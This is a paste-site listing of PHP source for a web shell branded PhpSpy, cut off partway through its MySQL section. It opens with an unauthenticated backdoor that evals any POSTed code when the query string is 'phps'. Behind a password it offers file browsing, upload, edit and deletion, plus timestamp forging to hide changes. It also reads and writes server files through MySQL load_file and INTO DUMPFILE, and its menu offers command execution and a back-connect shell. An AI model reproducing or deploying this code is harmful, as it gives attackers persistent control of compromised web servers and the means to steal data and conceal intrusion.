· 10 years ago · May 30, 2016, 05:24 PM
1
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5
6if($_SERVER["QUERY_STRING"]=='phps')
7{
8 @eval($_POST['phps']);
9 exit;
10}
11
12$mtime = explode(' ', microtime());
13$starttime = $mtime[1] + $mtime[0];
14define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
16define('IS_COM', class_exists('COM') ? 1 : 0 );
17define('IS_GPC', get_magic_quotes_gpc());
18$dis_func = get_cfg_var('disable_functions');
19define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
20@set_time_limit(0);
21
22foreach(array('_GET','_POST') as $_request) {
23 foreach($$_request as $_key => $_value) {
24 if ($_key{0} != '_') {
25 if (IS_GPC) {
26 $_value = s_array($_value);
27 }
28 $$_key = $_value;
29 }
30 }
31}
32/*===================== 程åºé…ç½® =====================*/
33$admin = array();
34// 是å¦éœ€è¦å¯†ç 验è¯, true 为需è¦éªŒè¯, false 为直接进入.下é¢é€‰é¡¹åˆ™æ— 效
35$admin['check'] = true;
36// 如果需è¦å¯†ç 验è¯,请修改登陆密ç
37$admin['pass'] = 'e2999e1b21a2658315e9747af751ed52'; //!@#
38
39//如您对 cookie ä½œç”¨èŒƒå›´æœ‰ç‰¹æ®Šè¦æ±‚, æˆ–ç™»å½•ä¸æ£å¸¸, 请修改下é¢å˜é‡, å¦åˆ™è¯·ä¿æŒé»˜è®¤
40// cookie å‰ç¼€
41$admin['cookiepre'] = '';
42// cookie 作用域
43$admin['cookiedomain'] = '';
44// cookie 作用路径
45$admin['cookiepath'] = '/';
46// cookie 有效期
47$admin['cookielife'] = 8640000;
48/*===================== é…ç½®ç»“æŸ =====================*/
49
50$charsetdb = array('utf8', 'armscii8', 'ascii', 'big5', 'binary', 'cp1250', 'cp1251', 'cp1256', 'cp1257', 'cp850', 'cp852', 'cp866', 'cp932', 'dec8', 'eucjpms', 'euckr', 'gb2312', 'gbk', 'geostd8', 'greek', 'hebrew', 'hp8', 'keybcs2', 'koi8r', 'koi8u', 'latin1', 'latin2', 'latin5', 'latin7', 'macce', 'macroman', 'sjis', 'swe7', 'tis620', 'ucs2', 'ujis');
51
52if ($charset == 'utf8') {
53 header("content-Type: text/html; charset=utf-8");
54} elseif ($charset == 'big5') {
55 header("content-Type: text/html; charset=big5");
56} elseif ($charset == 'gbk') {
57 header("content-Type: text/html; charset=gbk");
58} elseif ($charset == 'latin1') {
59 header("content-Type: text/html; charset=iso-8859-2");
60} elseif ($charset == 'euckr') {
61 header("content-Type: text/html; charset=euc-kr");
62} elseif ($charset == 'eucjpms') {
63 header("content-Type: text/html; charset=euc-jp");
64}
65
66$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
67$self=rtrim($self,"/");
68$timestamp = time();
69
70/*===================== èº«ä»½éªŒè¯ =====================*/
71if ($action == "logout") {
72 scookie('hgmshellpass', '', -86400 * 365);
73 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
74 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
75 exit;
76}
77$password = $_POST["password"];
78if($admin['check']) {
79 if ($doing == 'login') {
80 if ($admin['pass'] == md5($password)) {
81 scookie('hgmshellpass', md5($password));
82 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
83 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
84 exit;
85 }
86 }
87 if ($_COOKIE['hgmshellpass']) {
88 if ($_COOKIE['hgmshellpass'] != $admin['pass']) {
89
90 loginpage();
91
92 }
93 } else {
94 loginpage();
95 }
96}
97/*===================== 验è¯ç»“æŸ =====================*/
98
99$errmsg = '';
100
101// 查看PHPINFO
102if ($action == 'phpinfo') {
103 if (IS_PHPINFO) {
104 phpinfo();
105 exit;
106 } else {
107 $errmsg = 'phpinfo() function has non-permissible';
108 }
109}
110
111// 下载文件
112if ($doing == 'downfile' && $thefile) {
113 if (!@file_exists($thefile)) {
114 $errmsg = 'The file you want Downloadable was nonexistent';
115 } else {
116 $fileinfo = pathinfo($thefile);
117 header('Content-type: application/x-'.$fileinfo['extension']);
118 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
119 header('Content-Length: '.filesize($thefile));
120 @readfile($thefile);
121 exit;
122 }
123}
124
125// 直接下载备份数æ®åº“
126if ($doing == 'backupmysql' && !$saveasfile) {
127 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
128 $table = array_flip($table);
129 $result = q("SHOW tables");
130 if (!$result) p('<h2>'.mysql_error().'</h2>');
131 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
132 header('Content-type: application/unknown');
133 header('Content-Disposition: attachment; filename='.$filename);
134 $mysqldata = '';
135 while ($currow = mysql_fetch_array($result)) {
136 if (isset($table[$currow[0]])) {
137 $mysqldata .= sqldumptable($currow[0]);
138 }
139 }
140 mysql_close();
141 exit;
142}
143
144// 通过MYSQL下载文件
145if($doing=='mysqldown'){
146 if (!$dbname) {
147 $errmsg = 'Please input dbname';
148 } else {
149 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
150 if (!file_exists($mysqldlfile)) {
151 $errmsg = 'The file you want Downloadable was nonexistent';
152 } else {
153 $result = q("select load_file('$mysqldlfile');");
154 if(!$result){
155 q("DROP TABLE IF EXISTS tmp_angel;");
156 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
157 //用时间戳æ¥è¡¨ç¤ºæˆªæ–,é¿å…出现读å–自身或包å«__angel_1111111111_eof__的文件时ä¸å®Œæ•´çš„æƒ…况
158 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
159 $result = q("select content from tmp_angel");
160 q("DROP TABLE tmp_angel");
161 }
162 $row = @mysql_fetch_array($result);
163 if (!$row) {
164 $errmsg = 'Load file failed '.mysql_error();
165 } else {
166 $fileinfo = pathinfo($mysqldlfile);
167 header('Content-type: application/x-'.$fileinfo['extension']);
168 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
169 header("Accept-Length: ".strlen($row[0]));
170 echo $row[0];
171 exit;
172 }
173 }
174 }
175}
176?>
177
178<html>
179<head>
180<meta http-equiv="Content-Type" content="text/html; charset=gbk">
181<title><?php echo str_replace('.','','P..h..p.S.k.y');?> - tl00s</title>
182<style type="text/css">
183body,td{font: 12px Arial,Tahoma;line-height: 16px;}
184.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
185.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
186.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
187a {color: #00f;text-decoration:underline;}
188a:hover{color: #f00;text-decoration:none;}
189.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
190.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
191.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
192.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
193.head td span{font-weight:normal;}
194form{margin:0;padding:0;}
195h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
196ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
197u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
198</style>
199<script type="text/javascript">
200function CheckAll(form) {
201 for(var i=0;i<form.elements.length;i++) {
202 var e = form.elements[i];
203 if (e.name != 'chkall')
204 e.checked = form.chkall.checked;
205 }
206}
207function $(id) {
208 return document.getElementById(id);
209}
210function goaction(act){
211 $('goaction').action.value=act;
212 $('goaction').submit();
213}
214</script>
215</head>
216<body style="margin:0;table-layout:fixed; word-break:break-all">
217<table width="100%" border="0" cellpadding="0" cellspacing="0">
218 <tr class="head">
219 <td> <span style="float:right;"><?php echo str_replace('.','','P.h.p.S.k.y');?> Ver: tl00s </span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
220 </tr>
221 <tr class="alt1">
222 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
223 <a href="javascript:goaction('logout');">Logout</a> |
224 <a href="javascript:goaction('file');">File Manager</a> |
225 <a href="javascript:goaction('mysqladmin');">MYSQL Manager</a> |
226 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
227 <a href="javascript:goaction('shell');">Execute Command</a> |
228 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
229 <a href="javascript:goaction('eval');">Eval PHP Code</a>
230 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
231 </td>
232 </tr>
233</table>
234<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
235<?php
236
237formhead(array('name'=>'goaction'));
238makehide('action');
239formfoot();
240
241$errmsg && m($errmsg);
242
243// 获å–当å‰è·¯å¾„
244if (!$dir) {
245 if ($_SERVER["DOCUMENT_ROOT"]) {
246 $dir = $_SERVER["DOCUMENT_ROOT"];
247 } else {
248 $dir = '.';
249 }
250}
251
252$nowpath = getPath(SA_ROOT, $dir);
253//$hdir = dirname($nowpath);
254//echo $hdir ;
255
256if (substr($dir, -1) != '/') {
257 $dir = $dir.'/';
258}
259$uedir = ue($dir);
260
261if (!$action || $action == 'file') {
262
263 // 判æ–读写情况
264 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
265
266 // åˆ é™¤ç›®å½•
267 if ($doing == 'deldir' && $thefile) {
268 if (!file_exists($thefile)) {
269 m($thefile.' directory does not exist');
270 } else {
271 $dirdeltime = @filemtime($nowpath);
272 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed').'Modify file the last modified '.(@touch($nowpath,$dirdeltime,$dirdeltime) ? 'success' : 'failed'));
273 }
274 }
275
276 // 创建目录
277 elseif ($newdirname) {
278 $mkdirs = $nowpath.$newdirname;
279 $dirtime = @filemtime($nowpath);
280 echo $time;
281 if (file_exists($mkdirs)) {
282 m('Directory has already existed');
283 } else {
284 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
285 @chmod($mkdirs,0777);
286 m('<br/>Modify file the last modified '.(@touch($mkdirs,$dirtime,$dirtime) ? 'success' : 'failed').'Modify file the last modified '.(@touch($nowpath,$dirtime,$dirtime) ? 'success' : 'failed'));
287 }
288 }
289
290 // ä¸Šä¼ æ–‡ä»¶
291 elseif ($doupfile) {
292 $dirtime = @filemtime($nowpath);
293 //m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
294 if( @copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'=='success'){
295 $fileurl = $uploaddir.'/'.$_FILES['uploadfile']['name'];
296 m('File upload '.$_FILES['uploadfile']['name'].' success'.'<br/>Modify file the last modified '.(@touch($fileurl,$dirtime,$dirtime) ? 'success' : 'failed').'<br/>Modify file the last modified '.(@touch($nowpath,$dirtime,$dirtime) ? 'success' : 'failed'));
297 }
298 else{
299 m('File upload failed!');
300 }
301 }
302
303 // 编辑文件
304 elseif ($editfilename && $filecontent) {
305 $fmtime = @filemtime($editfilename);
306 $dirtime = @filemtime($nowpath);
307 $fp = @fopen($editfilename,'w');
308 $msg = 'Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed').'<br/>';
309 @fclose($fp);
310 if($iskeepmtime==true)
311 {
312 $msg .= 'Modify file the last modified '.(@touch($editfilename,$fmtime,$fmtime) ? 'success' : 'failed').'<br/>Modify file the last modified '.(@touch($nowpath,$dirtime,$dirtime) ? 'success' : 'failed');
313 }
314 m($msg);
315
316 }
317
318 // 编辑文件属性
319 elseif ($pfile && $newperm) {
320 if (!file_exists($pfile)) {
321 m('The original file does not exist');
322 } else {
323 $newperm = base_convert($newperm,8,10);
324 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
325 }
326 }
327
328 // 改å
329 elseif ($oldname && $newfilename) {
330 $nname = $nowpath.$newfilename;
331 if (file_exists($nname) || !file_exists($oldname)) {
332 m($nname.' has already existed or original file does not exist');
333 } else {
334 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
335 }
336 }
337
338 // å¤åˆ¶æ–‡ä»¶
339 elseif ($sname && $tofile) {
340 if (file_exists($tofile) || !file_exists($sname)) {
341 m('The goal file has already existed or original file does not exist');
342 } else {
343 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
344 }
345 }
346
347 // 克隆时间
348 elseif ($curfile && $tarfile) {
349 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
350 m('The goal file has already existed or original file does not exist');
351 } else {
352 $time = @filemtime($tarfile);
353 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
354 }
355 }
356
357 // 自定义时间
358 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
359 if (!@file_exists($curfile)) {
360 m(basename($curfile).' does not exist');
361 } else {
362 $time = strtotime("$year-$month-$day $hour:$minute:$second");
363 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
364 }
365 }
366
367 // 打包下载
368 elseif($doing == 'downrar') {
369 if ($dl) {
370 $dfiles='';
371 foreach ($dl as $filepath => $value) {
372 $dfiles.=$filepath.',';
373 }
374 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
375 $dl=explode(',',$dfiles);
376 if(count($dl)==1&&is_dir($dl[0])) // 判æ–å¦‚æžœæ˜¯é€‰ç€æ‰“包1个目录
377 {
378 $zip = New PHPZip1;
379 $zip->ZipDir($dl[0],'package',1);
380 }
381 else
382 {
383 $zip = New PHPZip1;
384 $zip->ZipFile($dl,'package',1);
385 }
386 exit;
387 //$zip=new PHPZip($dl);
388 //$code=$zip->out;
389 //header('Content-type: application/octet-stream');
390 //header('Accept-Ranges: bytes');
391 //header('Accept-Length: '.strlen($code));
392 //header('Content-Disposition: //attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
393 //echo $code;
394 //exit;
395 } else {
396 m('Please select file(s)');
397 }
398 }
399
400 // 批é‡åˆ 除文件
401 elseif($doing == 'delfiles') {
402 $dirdeltime = @filemtime($nowpath);
403 if ($dl) {
404 $dfiles='';
405 $succ = $fail = 0;
406 foreach ($dl as $filepath => $value) {
407 @chmod($filepath,0666);
408 if(is_dir($filepath)) //åˆ¤æ–æ˜¯æ–‡ä»¶å¤¹å°±åˆ 除文件夹
409 {
410 if(deltree($filepath))
411 {
412 $succ++;
413 }
414 else
415 {
416 $fail++;
417 }
418 }
419 else
420 {
421 if (@unlink($filepath)) {
422 $succ++;
423 } else {
424 $fail++;
425 }
426 }
427 }
428 m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
429 m('<br/>Modify file the last modified '.(@touch($nowpath,$dirdeltime,$dirdeltime) ? 'success' : 'failed'));
430 } else {
431 m('Please select file(s)');
432 }
433 }
434
435 //æ“作完毕
436 formhead(array('name'=>'createdir'));
437 makehide('newdirname');
438 makehide('dir',$nowpath);
439 formfoot();
440 formhead(array('name'=>'fileperm'));
441 makehide('newperm');
442 makehide('pfile');
443 makehide('dir',$nowpath);
444 formfoot();
445 formhead(array('name'=>'copyfile'));
446 makehide('sname');
447 makehide('tofile');
448 makehide('dir',$nowpath);
449 formfoot();
450 formhead(array('name'=>'rename'));
451 makehide('oldname');
452 makehide('newfilename');
453 makehide('dir',$nowpath);
454 formfoot();
455 formhead(array('name'=>'fileopform', 'target'=>'_blank'));
456 makehide('action');
457 makehide('opfile');
458 makehide('dir');
459 formfoot();
460 formhead(array('name'=>'getsize'));
461 makehide('getdir');
462 makehide('dir');
463 formfoot();
464
465 $free = @disk_free_space($nowpath);
466 !$free && $free = 0;
467 $all = @disk_total_space($nowpath);
468 !$all && $all = 0;
469 $used = $all-$free;
470 $used_percent = @round(100/($all/$free),2);
471 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
472
473?>
474<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
475 <form action="<?php echo $self;?>" method="post" id="godir" name="godir">
476 <tr>
477 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
478 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
479 <td nowrap><input class="bt" value="GO" type="submit"></td>
480 </tr>
481 </form>
482</table>
483<script type="text/javascript">
484function createdir(){
485 var newdirname;
486 newdirname = prompt('Please input the directory name:', '');
487 if (!newdirname) return;
488 $('createdir').newdirname.value=newdirname;
489 $('createdir').submit();
490}
491function fileperm(pfile){
492 var newperm;
493 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
494 if (!newperm) return;
495 $('fileperm').newperm.value=newperm;
496 $('fileperm').pfile.value=pfile;
497 $('fileperm').submit();
498}
499function copyfile(sname){
500 var tofile;
501 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
502 if (!tofile) return;
503 $('copyfile').tofile.value=tofile;
504 $('copyfile').sname.value=sname;
505 $('copyfile').submit();
506}
507function rename(oldname){
508 var newfilename;
509 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
510 if (!newfilename) return;
511 $('rename').newfilename.value=newfilename;
512 $('rename').oldname.value=oldname;
513 $('rename').submit();
514}
515function dofile(doing,thefile,m){
516 if (m && !confirm(m)) {
517 return;
518 }
519 $('filelist').doing.value=doing;
520 if (thefile){
521 $('filelist').thefile.value=thefile;
522 }
523 $('filelist').submit();
524}
525function createfile(nowpath){
526 var filename;
527 filename = prompt('Please input the file name:', '');
528 if (!filename) return;
529 opfile('editfile',nowpath + filename,nowpath);
530}
531function opfile(action,opfile,dir){
532 $('fileopform').action.value=action;
533 $('fileopform').opfile.value=opfile;
534 $('fileopform').dir.value=dir;
535 $('fileopform').submit();
536}
537function godir(dir,view_writable){
538 if (view_writable) {
539 $('godir').view_writable.value=view_writable;
540 }
541 $('godir').dir.value=dir;
542 $('godir').submit();
543}
544function getsize(getdir,dir){
545 $('getsize').getdir.value=getdir;
546 $('getsize').dir.value=dir;
547 $('getsize').submit();
548}
549</script>
550 <?php
551
552 $findstr = $_POST['findstr'];
553 $re = $_POST['re'];
554 $writabledb=strtolower($_POST['writabledb']);
555
556 tbhead();
557 p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
558 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');
559 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
560 p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
561 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
562 p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
563 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
564 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
565
566
567 if (IS_WIN && IS_COM) {
568 $obj = new COM('scripting.filesystemobject');
569 if ($obj && is_object($obj) && $obj->Drives) {
570 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
571 foreach($obj->Drives as $drive) {
572 if ($drive->DriveType == 2) {
573 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
574 } else {
575 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
576 }
577 }
578 }}
579
580 p('<br /><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.strtolower($_POST['writabledb']).'" type="text" /> eq: php,cgi,pl,asp,inc,js,html,htm,jsp <input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></td></tr>');
581
582 p('<tr class="head"><td> </td><td>Filename</td><td width="12%">Create Time</td><td width="12%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
583
584 //查看所有å¯å†™æ–‡ä»¶å’Œç›®å½•
585 $dirdata=array();
586 $filedata=array();
587
588 if ($view_writable == 'dir') {
589 $dirdata = GetWDirList($nowpath);
590 $filedata = array();
591 } elseif ($view_writable == 'file') {
592 $dirdata = array();
593 $filedata = GetWFileList($nowpath);
594 } elseif ($findstr) {
595 $dirdata = array();
596 $filedata = GetSFileList($nowpath, $findstr, $re);
597 } else {
598 // 目录列表
599 $dirs=@opendir($dir);
600 while ($file=@readdir($dirs)) {
601 $filepath=$nowpath.$file;
602 if(@is_dir($filepath)){
603 $dirdb['filename']=$file;
604 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
605 $dirdb['ctime']=@date('Y-m-d H:i:s',filectime($filepath));
606 $dirdb['dirchmod']=getChmod($filepath);
607 $dirdb['dirperm']=getPerms($filepath);
608 $dirdb['fileowner']=getUser($filepath);
609 $dirdb['dirlink']=$nowpath;
610 $dirdb['server_link']=$filepath;
611 $dirdb['client_link']=ue($filepath);
612 $dirdata[]=$dirdb;
613 } else {
614 $filedb['filename']=$file;
615 $filedb['size']=sizecount(@filesize($filepath));
616 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
617 $filedb['ctime']=@date('Y-m-d H:i:s',filectime($filepath));
618 $filedb['filechmod']=getChmod($filepath);
619 $filedb['fileperm']=getPerms($filepath);
620 $filedb['fileowner']=getUser($filepath);
621 $filedb['dirlink']=$nowpath;
622 $filedb['server_link']=$filepath;
623 $filedb['client_link']=ue($filepath);
624 $filedata[]=$filedb;
625 }
626 }// while
627 unset($dirdb);
628 unset($filedb);
629 @closedir($dirs);
630 }
631 @sort($dirdata);
632 @sort($filedata);
633 $dir_i = '0';
634 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">'); //让formåŒ…å«æ–‡ä»¶å¤¹
635 foreach($dirdata as $key => $dirdb){
636 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
637 if($getdir && $getdir == $dirdb['server_link']) {
638 $attachsize = dirsize($dirdb['server_link']);
639 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
640 } else {
641 $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
642 }
643 $thisbg = bg();
644 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
645 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$dirdb['server_link'].']"><font face="wingdings" size="3">0</font></td>');
646 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
647 p('<td nowrap>'.$dirdb['ctime'].'</td>');
648 p('<td nowrap>'.$dirdb['mtime'].'</td>');
649 p('<td nowrap>'.$attachsize.'</td>');
650 p('<td nowrap>');
651 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
652 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
653 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete <'.$dirdb['filename'].'>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a>');
654 p('<a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">Time</a></td>'); //æ·»åŠ æ–‡ä»¶å¤¹ä¿®æ”¹æœ€åŽä¿®æ”¹æ—¶é—´
655 p('</tr>');
656 $dir_i++;
657 } else {
658 if($dirdb['filename']=='..') {
659 p('<tr class='.bg().'>');
660 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="6"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
661 p('</tr>');
662 }
663 }
664 }
665
666 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="7" height="5"></td></tr>');
667
668 makehide('action','file');
669 makehide('thefile');
670 makehide('doing');
671 makehide('dir',$nowpath);
672 $file_i = '0';
673
674 foreach($filedata as $key => $filedb){
675 if($filedb['filename']!='..' && $filedb['filename']!='.') {
676 $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
677 $thisbg = bg();
678 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
679 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
680 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
681 p('<td nowrap>'.$filedb['ctime'].'</td>');
682 p('<td nowrap>'.$filedb['mtime'].'</td>');
683 p('<td nowrap>'.$filedb['size'].'</td>');
684 p('<td nowrap>');
685 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
686 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
687 p('<td nowrap>');
688 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
689 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
690 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
691 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
692 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
693 p('</td></tr>');
694 $file_i++;
695 }
696 }
697 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="5" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
698 p('</form></table>');
699}// end dir
700
701elseif ($action == 'sqlfile') {
702 if($doing=="mysqlupload"){
703 $file = $_FILES['uploadfile'];
704 $filename = $file['tmp_name'];
705 if (file_exists($savepath)) {
706 m('The goal file has already existed');
707 } else {
708 if(!$filename) {
709 m('Please choose a file');
710 } else {
711 $fp=@fopen($filename,'r');
712 $contents=@fread($fp, filesize($filename));
713 @fclose($fp);
714 $contents = bin2hex($contents);
715 if(!$upname) $upname = $file['name'];
716 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
717 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
718 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
719 }
720 }
721 }
722?>
723<script type="text/javascript">
724function mysqlfile(doing){
725 if(!doing) return;
726 $('doing').value=doing;
727 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
728 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
729 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
730 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
731 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
732 $('mysqlfile').charset.value=$('dbinfo').charset.value;
733 $('mysqlfile').submit();
734}
735</script>
736<?php
737 !$dbhost && $dbhost = 'localhost';
738 !$dbuser && $dbuser = 'root';
739 !$dbport && $dbport = '3306';
740 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
741 makehide('action','sqlfile');
742 p('<p>');
743 p('DBHost:');
744 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
745 p(':');
746 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
747 p('DBUser:');
748 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
749 p('DBPass:');
750 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
751 p('DBName:');
752 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
753 p('DBCharset:');
